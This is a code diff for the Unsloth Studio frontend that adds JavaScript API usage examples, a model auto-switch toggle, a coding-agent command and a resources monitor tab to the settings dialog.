 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useMemo, useState } from "react";
 import { Streamdown } from "streamdown";
+import {
+  type OpenAIAutoSwitchSettings,
+  loadOpenAIAutoSwitchSettings,
+  updateOpenAIAutoSwitchSettings,
+} from "../api/openai-auto-switch";
+import { buildAgentCommand } from "./agent-command";
 
-// API call type; OS axis applies to curl only (Python is OS-identical).
 type ExampleType =
   | "curl"
   | "python"
+  | "javascript"
   | "curlTools"
   | "pythonTools"
+  | "javascriptTools"
   | "curlAdvanced"
-  | "pythonAdvanced";
+  | "pythonAdvanced"
+  | "javascriptAdvanced";
 type Os = "unix" | "windows";
-// plain = bare call; tools = server-side tools; advanced = sampling + thinking + tools.
 type Variant = "plain" | "tools" | "advanced";
 
 const TYPE_TABS: { id: ExampleType; label: string }[] = [
   { id: "curl", label: "curl" },
   { id: "python", label: "Python" },
+  { id: "javascript", label: "JavaScript" },
   { id: "curlTools", label: "curl + tools" },
   { id: "pythonTools", label: "Python + tools" },
+  { id: "javascriptTools", label: "JavaScript + tools" },
   { id: "curlAdvanced", label: "curl + advanced" },
   { id: "pythonAdvanced", label: "Python + advanced" },
+  { id: "javascriptAdvanced", label: "JavaScript + advanced" },
 ];
 
 const TYPE_LABEL_KEY: Partial<Record<ExampleType, TranslationKey>> = {
   curlTools: "settings.apiKeys.exampleCurlTools",
   pythonTools: "settings.apiKeys.examplePythonTools",
+  javascriptTools: "settings.apiKeys.exampleJavaScriptTools",
   curlAdvanced: "settings.apiKeys.exampleCurlAdvanced",
   pythonAdvanced: "settings.apiKeys.examplePythonAdvanced",
+  javascriptAdvanced: "settings.apiKeys.exampleJavaScriptAdvanced",
 };
 
 const OS_AWARE: Record<ExampleType, boolean> = {
   curl: true,
   python: false,
+  javascript: false,
   curlTools: true,
   pythonTools: false,
+  javascriptTools: false,
   curlAdvanced: true,
   pythonAdvanced: false,
+  javascriptAdvanced: false,
 };
 
 const CURL_TYPES = new Set<ExampleType>(["curl", "curlTools", "curlAdvanced"]);
+const JAVASCRIPT_TYPES = new Set<ExampleType>([
+  "javascript",
+  "javascriptTools",
+  "javascriptAdvanced",
+]);
 
 const PROMPT = "Can Unsloth Studio do API calling?";
+// Auto-switch demo: a second call naming a different downloaded GGUF so the
+// example shows that the model field selects which model serves.
+// A placeholder the user replaces with one of their downloaded GGUFs. A fixed
+// repo is usually not one they have, so the resolver would fall through and the
+// demo would keep serving the current model instead of switching.
+const SWITCH_MODEL = "your-other-downloaded-GGUF";
+const SWITCH_PROMPT = "Now answer as a different model.";
 // web_search + python + terminal are the reliable built-in tools.
 const TOOLS = ["web_search", "python", "terminal"];
-// Sampling/thinking knobs for the "+ advanced" examples.
 const ADV = {
   temperature: 0.7,
   top_p: 0.8,
@@ -81,37 +107,18 @@ const ADV = {
 } as const;
 
 const DOC_LINKS = [
-  {
-    label: "Claude Code",
-    href: "https://unsloth.ai/docs/basics/claude-code",
-  },
-  {
-    label: "Codex",
-    href: "https://unsloth.ai/docs/basics/codex",
-  },
-  {
-    label: "OpenClaw",
-    href: "https://unsloth.ai/docs/integrations/openclaw",
-  },
-  {
-    label: "OpenCode",
-    href: "https://unsloth.ai/docs/integrations/opencode",
-  },
-  {
-    label: "Hermes Agent",
-    href: "https://unsloth.ai/docs/integrations/hermes-agent",
-  },
+  { label: "Claude Code", href: "https://unsloth.ai/docs/basics/claude-code" },
+  { label: "Codex", href: "https://unsloth.ai/docs/basics/codex" },
+  { label: "OpenClaw", href: "https://unsloth.ai/docs/integrations/openclaw" },
+  { label: "OpenCode", href: "https://unsloth.ai/docs/integrations/opencode" },
+  { label: "Hermes Agent", href: "https://unsloth.ai/docs/integrations/hermes-agent" },
 ];
 
-// JSON-encode; also a valid Python literal, so odd model names never break output.
 const j = (s: string): string => JSON.stringify(s);
-// Embed in a POSIX single-quoted string: close, escaped quote, reopen.
 const shSingle = (s: string): string => s.replace(/'/g, "'\\''");
-// Embed in a PowerShell single-quoted string: '' is a literal quote.
 const psSingle = (s: string): string => s.replace(/'/g, "''");
 const toolsJson = TOOLS.map(j).join(", ");
 
-// Shared body fields (after model/messages, before stream) per variant.
 function bodyExtraLines(variant: Variant, indent: string): string[] {
   const lines: string[] = [];
   if (variant === "advanced") {
@@ -140,7 +147,6 @@ function curlBodyPretty(model: string, variant: Variant): string {
   return `{\n${lines.join("\n")}\n  }`;
 }
 
-// One-line JSON for the Windows body file (PowerShell mangles inline quotes to curl.exe).
 function winBody(model: string, variant: Variant): string {
   const body: Record<string, unknown> = {
     model,
@@ -160,29 +166,35 @@ function winBody(model: string, variant: Variant): string {
     body.enabled_tools = TOOLS;
   }
   body.stream = true;
-  return JSON.stringify(body);
+  return JSON.stringify(body, null, 2);
 }
 
+// A leading comment (valid in both bash and PowerShell) noting the model field
+// selects the served model when auto-switch is on.
+const SWITCH_NOTE =
+  '# "Switch model by request" is on: set "model" to any downloaded GGUF to switch.\n';
+
 function curlUnix(
   base: string,
   key: string,
   model: string,
   variant: Variant,
+  autoSwitch: boolean,
 ): string {
-  return `curl ${base}/v1/chat/completions \\
+  return `${autoSwitch ? SWITCH_NOTE : ""}curl ${base}/v1/chat/completions \\
   -H "Authorization: Bearer ${key}" \\
   -H "Content-Type: application/json" \\
   -d '${shSingle(curlBodyPretty(model, variant))}'`;
 }
 
-// Windows PowerShell: curl aliases to Invoke-WebRequest, so use curl.exe + body file.
 function curlWindows(
   base: string,
   key: string,
   model: string,
   variant: Variant,
+  autoSwitch: boolean,
 ): string {
-  return `$body = '${psSingle(winBody(model, variant))}'
+  return `${autoSwitch ? SWITCH_NOTE : ""}$body = '${psSingle(winBody(model, variant))}'
 Set-Content -Path body.json -Value $body -Encoding ascii
 curl.exe ${base}/v1/chat/completions \`
   -H "Authorization: Bearer ${key}" \`
@@ -190,13 +202,30 @@ curl.exe ${base}/v1/chat/completions \`
   -d "@body.json"`;
 }
 
+// A second OpenAI call naming a different downloaded GGUF: with auto-switch on,
+// Studio loads it before serving, so the model field selects the served model.
+function pythonSwitchDemo(): string {
+  return `
+
+# "Switch model by request" is on: replace the model below with another GGUF you
+# have downloaded and Studio loads it before serving. Unknown names keep serving
+# the current model.
+response = client.chat.completions.create(
+    model=${j(SWITCH_MODEL)},
+    messages=[{"role": "user", "content": ${j(SWITCH_PROMPT)}}],
+    stream=True,
+)
+for chunk in response:
+    print(chunk.choices[0].delta.content or "", end="")`;
+}
+
 function pythonSnippet(
   base: string,
   key: string,
   model: string,
   variant: Variant,
+  autoSwitch: boolean,
 ): string {
-  // Standard OpenAI args are named; Unsloth extensions go through extra_body.
   const named =
     variant === "advanced"
       ? `
@@ -221,7 +250,6 @@ function pythonSnippet(
 ${extra.join("\n")}
     },`
     : "";
-  // With tools, some chunks are tool-lifecycle events with no choices; guard it.
   const loop =
     variant !== "plain"
       ? `for chunk in response:
@@ -241,7 +269,71 @@ response = client.chat.completions.create(
     messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody}
     stream=True,
 )
-${loop}`;
+${loop}${autoSwitch ? pythonSwitchDemo() : ""}`;
+}
+
+function javascriptSnippet(
+  base: string,
+  key: string,
+  model: string,
+  variant: Variant,
+  autoSwitch: boolean,
+): string {
+  const options: string[] = [];
+  if (variant === "advanced") {
+    options.push(`  temperature: ${ADV.temperature},`);
+    options.push(`  top_p: ${ADV.top_p},`);
+    options.push(`  max_tokens: ${ADV.max_tokens},`);
+  }
+
+  // The JS SDK forwards unknown options into the request body, so these go at the
+  // top level (the Python SDK needs them under extra_body instead).
+  if (variant === "advanced") {
+    options.push(`  top_k: ${ADV.top_k},`);
+    options.push(`  min_p: ${ADV.min_p},`);
+    options.push(`  repetition_penalty: ${ADV.repetition_penalty},`);
+    options.push(`  enable_thinking: true,`);
+  }
+  if (variant !== "plain") {
+    options.push(`  enable_tools: true,`);
+    options.push(`  enabled_tools: [${toolsJson}],`);
+  }
+
+  const trailingOptions = options.length ? `\n${options.join("\n")}` : "";
+
+  return `import OpenAI from "openai";
+
+const client = new OpenAI({
+  baseURL: ${j(`${base}/v1`)},
+  apiKey: ${j(key)},
+});
+
+const response = await client.chat.completions.create({
+  model: ${j(model)},
+  messages: [{ role: "user", content: ${j(PROMPT)} }],${trailingOptions}
+  stream: true,
+});
+
+for await (const chunk of response) {
+  process.stdout.write(chunk.choices?.[0]?.delta?.content || "");
+}${autoSwitch ? javascriptSwitchDemo() : ""}`;
+}
+
+function javascriptSwitchDemo(): string {
+  return `
+
+// "Switch model by request" is on: replace the model below with another GGUF you
+// have downloaded and Studio loads it before serving. Unknown names keep serving
+// the current model.
+const switchResponse = await client.chat.completions.create({
+  model: ${j(SWITCH_MODEL)},
+  messages: [{ role: "user", content: ${j(SWITCH_PROMPT)} }],
+  stream: true,
+});
+
+for await (const chunk of switchResponse) {
+  process.stdout.write(chunk.choices?.[0]?.delta?.content || "");
+}`;
 }
 
 function buildSnippets(
@@ -249,22 +341,30 @@ function buildSnippets(
   key: string,
   model: string,
   os: Os,
+  autoSwitch: boolean,
 ): Record<ExampleType, string> {
   const curl = os === "windows" ? curlWindows : curlUnix;
   return {
-    curl: curl(base, key, model, "plain"),
-    python: pythonSnippet(base, key, model, "plain"),
-    curlTools: curl(base, key, model, "tools"),
-    pythonTools: pythonSnippet(base, key, model, "tools"),
-    curlAdvanced: curl(base, key, model, "advanced"),
-    pythonAdvanced: pythonSnippet(base, key, model, "advanced"),
+    curl: curl(base, key, model, "plain", autoSwitch),
+    python: pythonSnippet(base, key, model, "plain", autoSwitch),
+    javascript: javascriptSnippet(base, key, model, "plain", autoSwitch),
+    curlTools: curl(base, key, model, "tools", autoSwitch),
+    pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch),
+    javascriptTools: javascriptSnippet(base, key, model, "tools", autoSwitch),
+    curlAdvanced: curl(base, key, model, "advanced", autoSwitch),
+    pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch),
+    javascriptAdvanced: javascriptSnippet(
+      base,
+      key,
+      model,
+      "advanced",
+      autoSwitch,
+    ),
   };
 }
 
 const KEY_PLACEHOLDER = "sk-unsloth-YOUR_KEY";
 const MODEL_FALLBACK = "unsloth/gemma-4-E4B-it-GGUF:UD-Q5_K_XL";
-
-// Default ON: when a tunnel exists, examples should show the public base_url.
 const USE_TUNNEL_KEY = "unsloth_api_use_tunnel";
 
 function readUseTunnelPref(): boolean {
@@ -281,11 +381,10 @@ function writeUseTunnelPref(value: boolean): void {
   try {
     window.localStorage.setItem(USE_TUNNEL_KEY, value ? "true" : "false");
   } catch {
-    // Non-fatal: the toggle still applies for this session.
+    // Non-fatal
   }
 }
 
-// Active local checkpoint as repo[:variant]; external/none falls back to a default.
 function useLoadedModelName(): string {
   const checkpoint = useChatRuntimeStore((s) => s.params.checkpoint);
   const ggufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
@@ -300,7 +399,6 @@ function useLoadedModelName(): string {
   }, [checkpoint, ggufVariant]);
 }
 
-// shiki highlighting via the app's shared code plugin + themes (same as chat).
 const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [
   typeof unslothLightTheme,
   typeof unslothDarkTheme,
@@ -314,7 +412,6 @@ function HighlightedCode({
   code: string;
   language: string;
 }) {
-  // Fence so Streamdown's shiki plugin highlights it (no markdown inside a fence).
   const markdown = useMemo(
     () => `\`\`\`${language}\n${code}\n\`\`\``,
     [code, language],
@@ -345,25 +442,47 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   );
   const [copied, setCopied] = useState(false);
   const [copiedUrl, setCopiedUrl] = useState(false);
+  const [copiedAgent, setCopiedAgent] = useState(false);
   const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
+  // null while loading; the same setting the General tab exposes (shared cache).
+  const [autoSwitch, setAutoSwitch] = useState<OpenAIAutoSwitchSettings | null>(
+    null,
+  );
+  const [savingAutoSwitch, setSavingAutoSwitch] = useState(false);
 
-  // Tunnel may start after the first /api/health read; refresh so it surfaces here.
   useEffect(() => {
     void fetchDeviceType({ force: true });
   }, []);
 
+  useEffect(() => {
+    let cancelled = false;
+    void loadOpenAIAutoSwitchSettings()
+      .then((s) => {
+        if (!cancelled) setAutoSwitch(s);
+      })
+      .catch(() => {
+        // Best-effort: leave the toggle off if the setting can't be read.
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+
   const model = useLoadedModelName();
-  // Real key while revealed (before "Done"); otherwise a placeholder.
   const key = apiKey || KEY_PLACEHOLDER;
-  // Toggle on + tunnel up: public tunnel URL. Off: backend direct host:port
-  // (origin is only a last-resort fallback).
   const origin = typeof window !== "undefined" ? window.location.origin : "";
   const base =
     useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
 
+  const autoSwitchOn = autoSwitch?.enabled ?? false;
   const snippets = useMemo(
-    () => buildSnippets(base, key, model, os),
-    [base, key, model, os],
+    () => buildSnippets(base, key, model, os, autoSwitchOn),
+    [base, key, model, os, autoSwitchOn],
+  );
+  // Agent command must target the server the panel shows, not the :8888 default.
+  const agentCommand = useMemo(
+    () => buildAgentCommand(base, key, os),
+    [base, key, os],
   );
 
   const osAware = OS_AWARE[lang];
@@ -371,7 +490,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     ? os === "windows"
       ? "powershell"
       : "bash"
-    : "python";
+    : JAVASCRIPT_TYPES.has(lang)
+      ? "javascript"
+      : "python";
 
   const handleCopy = async () => {
     if (await copyToClipboard(snippets[lang])) {
@@ -385,6 +506,20 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     writeUseTunnelPref(next);
   };
 
+  // Same setting as the General tab; persist optimistically and revert on failure
+  // so the examples reflect the live model-switch behavior.
+  const handleToggleAutoSwitch = (next: boolean) => {
+    const idle = autoSwitch?.autoUnloadIdleSeconds ?? 0;
+    setAutoSwitch((prev) => (prev ? { ...prev, enabled: next } : prev));
+    setSavingAutoSwitch(true);
+    void updateOpenAIAutoSwitchSettings(next, idle)
+      .then(setAutoSwitch)
+      .catch(() => {
+        setAutoSwitch((prev) => (prev ? { ...prev, enabled: !next } : prev));
+      })
+      .finally(() => setSavingAutoSwitch(false));
+  };
+
   const handleCopyUrl = async () => {
     if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) {
       setCopiedUrl(true);
@@ -392,12 +527,54 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     }
   };
 
+  const handleCopyAgent = async () => {
+    if (await copyToClipboard(agentCommand)) {
+      setCopiedAgent(true);
+      setTimeout(() => setCopiedAgent(false), 1800);
+    }
+  };
+
   return (
     <section className="flex min-w-0 max-w-full flex-col">
       <h2 className="mb-2 text-sm font-semibold text-foreground">
         {t("settings.apiKeys.usageExamples")}
       </h2>
       <div className="min-w-0 max-w-full overflow-hidden rounded-lg border border-border bg-muted/20">
+        {/* Same setting as the General tab; surfaced here so the request `model`
+            actually switches the served model, which the examples below show. */}
+        <div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
+          <div className="flex shrink-0 items-center gap-1.5">
+            <Switch
+              size="sm"
+              checked={autoSwitchOn}
+              disabled={autoSwitch === null || savingAutoSwitch}
+              onCheckedChange={handleToggleAutoSwitch}
+              aria-label={t("settings.general.modelAutoSwitch.enable")}
+            />
+            <span className="text-[11px] font-medium text-foreground">
+              {t("settings.general.modelAutoSwitch.enable")}
+            </span>
+            <Tooltip>
+              <TooltipTrigger asChild={true}>
+                <button
+                  type="button"
+                  className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  aria-label={t(
+                    "settings.general.modelAutoSwitch.enableDescription",
+                  )}
+                >
+                  <HugeiconsIcon
+                    icon={InformationCircleIcon}
+                    className="size-3.5"
+                  />
+                </button>
+              </TooltipTrigger>
+              <TooltipContent className="max-w-[260px] text-[11px] leading-snug">
+                {t("settings.general.modelAutoSwitch.enableDescription")}
+              </TooltipContent>
+            </Tooltip>
+          </div>
+        </div>
         {cloudflareUrl ? (
           <div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
             <div className="flex shrink-0 items-center gap-1.5">
@@ -412,9 +589,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               </span>
               {/* Only when not launched with --secure: the raw 0.0.0.0 port is
                   still globally reachable, so point the user at --secure. */}
-              {!secure ? (
+              {secure ? null : (
                 <Tooltip>
-                  <TooltipTrigger asChild>
+                  <TooltipTrigger asChild={true}>
                     <button
                       type="button"
                       className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
@@ -430,10 +607,8 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                     {t("settings.apiKeys.secureHttpsHint")}
                   </TooltipContent>
                 </Tooltip>
-              ) : null}
+              )}
             </div>
-            {/* Always rendered (dimmed when off) so toggling never changes the
-                row height and shifts the code block below. */}
             <button
               type="button"
               onClick={handleCopyUrl}
@@ -522,15 +697,39 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
             />
             {copied ? t("settings.apiKeys.copied") : t("settings.apiKeys.copy")}
           </button>
-          {/* key on the snippet so Streamdown remounts and re-highlights when
-              only a substring (e.g. the base URL) changes; its block memo
-              otherwise keeps the stale render. */}
           <HighlightedCode
             key={snippets[lang]}
             code={snippets[lang]}
             language={shikiLang}
           />
         </div>
+        <div className="flex min-w-0 flex-col gap-1.5 border-t border-border px-3 py-2.5">
+          <span className="text-[11px] font-semibold text-foreground">
+            {t("settings.apiKeys.codingAgents")}
+          </span>
+          <span className="text-[11px] leading-snug text-muted-foreground">
+            {t("settings.apiKeys.codingAgentsHint")}
+          </span>
+          <div className="relative mt-0.5 min-w-0">
+            <code className="block min-w-0 overflow-x-auto rounded border border-border bg-muted/30 px-2 py-1.5 pr-14 font-mono text-[11px] text-foreground">
+              {agentCommand}
+            </code>
+            <button
+              type="button"
+              onClick={handleCopyAgent}
+              className="absolute right-1.5 top-1/2 flex -translate-y-1/2 items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-0.5 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              aria-label={t("settings.apiKeys.copySnippet")}
+            >
+              <HugeiconsIcon
+                icon={copiedAgent ? Tick02Icon : Copy01Icon}
+                className={cn("size-3.5", copiedAgent && "text-emerald-600")}
+              />
+            </button>
+          </div>
+          <span className="text-[11px] leading-snug text-muted-foreground">
+            {t("settings.apiKeys.codingAgentsSwap")}
+          </span>
+        </div>
         <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-t border-border px-3 py-2 text-[11px] text-muted-foreground">
           <span>{t("settings.apiKeys.setupDocs")}</span>
           {DOC_LINKS.map((link) => (
diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index 0ee0dd0a7c..0d201edc0d 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -12,6 +12,7 @@ import { cn } from "@/lib/utils";
 import {
   Cancel01Icon,
   CloudIcon,
+  CpuIcon,
   Globe02Icon,
   HelpCircleIcon,
   Message01Icon,
@@ -33,6 +34,8 @@ import { ChatTab } from "./tabs/chat-tab";
 import { ConnectionsTab } from "./tabs/connections-tab";
 import { GeneralTab } from "./tabs/general-tab";
 import { ProfileTab } from "./tabs/profile-tab";
+import { ResourcesTab } from "./tabs/resources-tab";
+import { FloatingMonitor } from "@/components/floating-monitor";
 
 interface TabDef {
   id: SettingsTab;
@@ -49,6 +52,11 @@ const TABS: TabDef[] = [
     labelKey: "settings.tabs.appearance",
     icon: PaintBrush02Icon,
   },
+  {
+    id: "resources",
+    labelKey: "settings.tabs.resources",
+    icon: CpuIcon,
+  },
   {
     id: "chat",
     labelKey: "settings.tabs.chat",
@@ -77,6 +85,8 @@ function renderTab(tab: SettingsTab) {
       return <ProfileTab />;
     case "appearance":
       return <AppearanceTab />;
+    case "resources":
+      return <ResourcesTab />;
     case "chat":
       return <ChatTab />;
     case "connections":
@@ -100,6 +110,7 @@ export function SettingsDialog() {
     general: null,
     profile: null,
     appearance: null,
+    resources: null,
     chat: null,
     connections: null,
     "api-keys": null,
@@ -115,110 +126,113 @@ export function SettingsDialog() {
   }, [open, activeTab]);
 
   return (
-    <Dialog open={open} onOpenChange={(o) => !o && closeDialog()}>
-      <DialogContent
-        showCloseButton={false}
-        overlayClassName="bg-black/30 supports-backdrop-filter:backdrop-blur-[2px]"
-        onCloseAutoFocus={(e) => {
-          // Restore focus to the element that triggered openDialog(). Radix's
-          // FocusScope races our rAF-scheduled tab focus and loses the
-          // previous-focus reference, so restore it by hand.
-          if (opener && opener.isConnected) {
-            e.preventDefault();
-            opener.focus({ preventScroll: true });
-          }
-        }}
-        className={cn(
-          // Cap at 820px but shrink to the viewport so it doesn't clip on
-          // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows.
-          "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden",
-          // Soft shadow, no outline ring. Pin --radius to the light value so
-          // corner rounding matches in dark mode.
-          "shadow-border rounded-xl ring-0 [--radius:1.1rem]",
-          "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none",
-        )}
-      >
-        <DialogTitle className="sr-only">
-          {t("settings.dialog.title")}
-        </DialogTitle>
-        <DialogDescription className="sr-only">
-          {t("settings.dialog.description")}
-        </DialogDescription>
-        <div className="flex h-full min-h-0 max-sm:flex-col">
-          <aside className="font-heading flex w-[216px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
-            <h2 className="pl-3 pr-2.5 pt-3.5 pb-3.5 text-[19px] font-semibold text-foreground max-sm:hidden">
-              {t("settings.dialog.title")}
-            </h2>
-            <nav className="flex flex-col gap-0.5 max-sm:flex-row max-sm:overflow-x-auto">
-              {TABS.map((tab) => {
-                const active = activeTab === tab.id;
-                return (
-                  <button
-                    key={tab.id}
-                    ref={(node) => {
-                      tabButtonRefs.current[tab.id] = node;
-                    }}
-                    type="button"
-                    onClick={() => setActiveTab(tab.id)}
-                    className={cn(
-                      "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[14.5px] leading-[19px] tracking-nav font-medium transition-colors",
-                      "max-sm:shrink-0",
-                      "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
-                      active
-                        ? "text-black dark:text-white"
-                        : "text-[#383835] dark:text-[#c7c7c4] hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white",
-                    )}
-                  >
-                    {active && (
-                      <motion.span
-                        layoutId="settings-active-pill"
-                        className="absolute inset-0 rounded-full bg-[#ececec] dark:bg-[#3a3d43]"
-                        transition={
-                          reduced
-                            ? { duration: 0 }
-                            : {
+    <>
+      <Dialog open={open} onOpenChange={(o) => !o && closeDialog()}>
+        <DialogContent
+          showCloseButton={false}
+          overlayClassName="bg-black/30 supports-backdrop-filter:backdrop-blur-[2px]"
+          onCloseAutoFocus={(e) => {
+            // Restore focus to the element that triggered openDialog(). Radix's
+            // FocusScope races our rAF-scheduled tab focus and loses the
+            // previous-focus reference, so restore it by hand.
+            if (opener && opener.isConnected) {
+              e.preventDefault();
+              opener.focus({ preventScroll: true });
+            }
+          }}
+          className={cn(
+            // Cap at 820px but shrink to the viewport so it doesn't clip on
+            // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows.
+            "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden",
+            // Soft shadow, no outline ring. Pin --radius to the light value so
+            // corner rounding matches in dark mode.
+            "shadow-border rounded-xl ring-0 [--radius:1.1rem]",
+            "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none",
+          )}
+        >
+          <DialogTitle className="sr-only">
+            {t("settings.dialog.title")}
+          </DialogTitle>
+          <DialogDescription className="sr-only">
+            {t("settings.dialog.description")}
+          </DialogDescription>
+          <div className="flex h-full min-h-0 max-sm:flex-col">
+            <aside className="font-heading flex w-[216px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
+              <h2 className="pl-3 pr-2.5 pt-3.5 pb-3.5 text-[19px] font-semibold text-foreground max-sm:hidden">
+                {t("settings.dialog.title")}
+              </h2>
+              <nav className="flex flex-col gap-0.5 max-sm:flex-row max-sm:overflow-x-auto">
+                {TABS.map((tab) => {
+                  const active = activeTab === tab.id;
+                  return (
+                    <button
+                      key={tab.id}
+                      ref={(node) => {
+                        tabButtonRefs.current[tab.id] = node;
+                      }}
+                      type="button"
+                      onClick={() => setActiveTab(tab.id)}
+                      className={cn(
+                        "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[14.5px] leading-[19px] tracking-nav font-medium transition-colors",
+                        "max-sm:shrink-0",
+                        "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
+                        active
+                          ? "text-black dark:text-white"
+                          : "text-[#383835] dark:text-[#c7c7c4] hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white",
+                      )}
+                    >
+                      {active && (
+                        <motion.span
+                          layoutId="settings-active-pill"
+                          className="absolute inset-0 rounded-full bg-[#ececec] dark:bg-[#3a3d43]"
+                          transition={
+                            reduced
+                              ? { duration: 0 }
+                              : {
                                 type: "spring",
                                 stiffness: 500,
                                 damping: 35,
                                 mass: 0.5,
                               }
-                        }
+                          }
+                        />
+                      )}
+                      <HugeiconsIcon
+                        icon={tab.icon}
+                        strokeWidth={1.75}
+                        className="relative z-10 size-icon"
                       />
-                    )}
-                    <HugeiconsIcon
-                      icon={tab.icon}
-                      strokeWidth={1.75}
-                      className="relative z-10 size-icon"
-                    />
-                    <span className="relative z-10 min-w-0 truncate">
-                      {t(tab.labelKey)}
-                    </span>
-                    {tab.badgeKey ? (
-                      <span className="relative z-10 ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
-                        {t(tab.badgeKey)}
+                      <span className="relative z-10 min-w-0 truncate">
+                        {t(tab.labelKey)}
                       </span>
-                    ) : null}
-                  </button>
-                );
-              })}
-            </nav>
-          </aside>
+                      {tab.badgeKey ? (
+                        <span className="relative z-10 ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
+                          {t(tab.badgeKey)}
+                        </span>
+                      ) : null}
+                    </button>
+                  );
+                })}
+              </nav>
+            </aside>
 
-          <main className="relative flex min-h-0 min-w-0 flex-1 flex-col">
-            <button
-              type="button"
-              onClick={closeDialog}
-              className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-              aria-label={t("settings.dialog.closeAriaLabel")}
-            >
-              <HugeiconsIcon icon={Cancel01Icon} className="size-4" />
-            </button>
-            <div className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]">
-              {renderTab(activeTab)}
-            </div>
-          </main>
-        </div>
-      </DialogContent>
-    </Dialog>
+            <main className="relative flex min-h-0 min-w-0 flex-1 flex-col">
+              <button
+                type="button"
+                onClick={closeDialog}
+                className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                aria-label={t("settings.dialog.closeAriaLabel")}
+              >
+                <HugeiconsIcon icon={Cancel01Icon} className="size-4" />
+              </button>
+              <div className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]">
+                {renderTab(activeTab)}
+              </div>
+            </main>
+          </div>
+        </DialogContent>
+      </Dialog>
+      <FloatingMonitor />
+    </>
   );
 }
diff --git a/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts
new file mode 100644
index 0000000000..1af804a19e
--- /dev/null
+++ b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { persist } from "zustand/middleware";
+
+interface MonitorOverlayState {
+  isOpen: boolean;
+  isMinimized: boolean;
+  setIsOpen: (open: boolean) => void;
+  toggleMinimized: () => void;
+}
+
+export const useMonitorOverlayStore = create<MonitorOverlayState>()(
+  persist(
+    (set) => ({
+      isOpen: false,
+      isMinimized: false,
+      setIsOpen: (isOpen) => set({ isOpen }),
+      toggleMinimized: () => set((state) => ({ isMinimized: !state.isMinimized })),
+    }),
+    { name: "unsloth_monitor_overlay" }
+  )
+);
\ No newline at end of file
